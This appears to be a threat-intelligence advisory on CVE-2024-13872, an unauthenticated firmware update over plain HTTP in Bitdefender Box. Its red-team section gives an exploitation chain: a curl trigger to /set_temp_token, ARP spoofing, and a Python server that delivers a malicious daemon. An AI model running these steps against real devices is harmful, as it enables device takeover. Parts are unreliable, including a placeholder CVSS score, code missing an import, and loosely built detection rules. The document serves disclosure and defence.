CVE-2024-13872

Executive Summary

CVE-2024-13872 is a critical vulnerability affecting Bitdefender Box firmware versions 1.3.11.490 through 1.3.11.505. The device uses insecure HTTP to download assets for updating daemons and detection rules. An unauthenticated, network-adjacent attacker can trigger an update via the /set_temp_token API endpoint and then perform a man-in-the-middle (MITM) attack to inject malicious payloads. This leads to remote code execution (RCE) on the device. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the potential for full device compromise. No public exploit or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but involves firmware update mechanisms. The insecure HTTP protocol introduces supply chain risks by allowing attackers to tamper with updates in transit.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – attacker must be on the same network.
• Attack Complexity (AC): Low (AC:L) – no special conditions required.
• Privileges Required (PR): None (PR:N) – no authentication needed.
• User Interaction (UI): None (UI:N) – no user action required.
• Scope (S): Unchanged (S:U) – vulnerability affects only the device.
• Confidentiality (C): High (C:H) – full data access possible.
• Integrity (I): High (I:H) – arbitrary code execution.
• Availability (A): High (A:H) – device can be rendered inoperable.

Threat Level: Critical. Exploitation allows full device takeover with no authentication.

Deep Dive & Mechanics

The vulnerability stems from the use of plain HTTP for downloading assets (e.g., daemon binaries, detection rules) during updates. The /set_temp_token API endpoint triggers an update without authentication. An attacker on the same network can intercept the HTTP request and respond with malicious content. The device then restarts daemons using the tampered assets, leading to RCE.

Key Components:

• Insecure Protocol: HTTP instead of HTTPS for asset downloads.
• Unauthenticated Trigger: /set_temp_token API allows remote update initiation.
• MITM Attack: Attacker spoofs the update server to deliver malicious payloads.
• Daemon Restart: Restarted daemons execute the malicious code.

Vulnerable vs. Patched Code

Vulnerable Code (HTTP):

# Example of vulnerable update logic
import requests

def update_assets():
    url = "http://update.bitdefender.com/assets/daemon"
    response = requests.get(url)
    with open("/tmp/daemon", "wb") as f:
        f.write(response.content)
    os.system("restart daemon")

Patched Code (HTTPS):

# Example of patched update logic
import requests

def update_assets():
    url = "https://update.bitdefender.com/assets/daemon"
    response = requests.get(url, verify=True)
    with open("/tmp/daemon", "wb") as f:
        f.write(response.content)
    os.system("restart daemon")

The patched version uses HTTPS with certificate verification to prevent MITM attacks.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Network access to the Bitdefender Box (same subnet).
• Ability to perform ARP spoofing or DNS poisoning.

Steps:

1. Trigger Update: Send a POST request to /set_temp_token on the device.

   curl -X POST http://<device_ip>/set_temp_token -d "token=malicious"
   

2. Intercept Traffic: Use ARP spoofing to redirect the device's HTTP requests to your machine.

   arpspoof -i eth0 -t <device_ip> <gateway_ip>
   

3. Serve Malicious Payload: Set up a fake HTTP server to respond with a malicious daemon binary.

   from http.server import HTTPServer, BaseHTTPRequestHandler
   import os
   
   class MaliciousHandler(BaseHTTPRequestHandler):
       def do_GET(self):
           if "daemon" in self.path:
               with open("malicious_daemon", "rb") as f:
                   self.send_response(200)
                   self.send_header("Content-type", "application/octet-stream")
                   self.end_headers()
                   self.wfile.write(f.read())
           else:
               self.send_response(404)
   
   server = HTTPServer(("0.0.0.0", 80), MaliciousHandler)
   server.serve_forever()
   

4. Execute Payload: The device downloads and executes the malicious daemon, granting RCE.

Blue Team

Detection:

• Monitor for unauthorized HTTP traffic to update endpoints.
• Detect ARP spoofing using tools like arpwatch.
• Log all /set_temp_token API calls.

Mitigation:

• Block HTTP traffic on the network (allow only HTTPS).
• Implement network segmentation to isolate IoT devices.
• Use IDS/IPS rules to detect MITM attacks.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to http://update.bitdefender.com/assets/ (unencrypted).
  • ARP cache poisoning events.
  • Unexpected daemon restarts.
• File:
  • Modified daemon binaries in /tmp/ or /usr/bin/.
  • New processes with suspicious names.
• Logs:
  • /set_temp_token API calls from unknown IPs.
  • Failed HTTPS certificate validation (if patched).

Detection Engineering

YARA Rule

rule CVE_2024_13872_MITM_Asset {
    meta:
        description = "Detects malicious assets downloaded via HTTP for Bitdefender Box"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $http_get = "GET /assets/" ascii
        $http_response = "HTTP/1.1 200 OK" ascii
    condition:
        $http_get and $http_response
}

Sigma Rule

title: Bitdefender Box Insecure HTTP Update
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP traffic to Bitdefender update servers
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 80
        dest_ip: "update.bitdefender.com"
    condition: selection
falsepositives:
    - Legitimate updates (if HTTP is used)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET 80 (msg:"CVE-2024-13872 - Bitdefender Box Insecure HTTP Update"; flow:to_server; content:"GET /assets/"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Devices: Place Bitdefender Box on a separate VLAN with restricted internet access.
2. Block HTTP: Use firewall rules to block outbound HTTP traffic from the device.
3. Monitor Network: Enable logging for ARP and DNS anomalies.

Long-Term Fix:

• Vendor must release a firmware update using HTTPS with certificate pinning.
• Users should disable automatic updates until a patch is available.

Workaround:

• Manually update firmware via a trusted local server using HTTPS.

Valters IT
DevSecOps & Cyber Threat Intelligence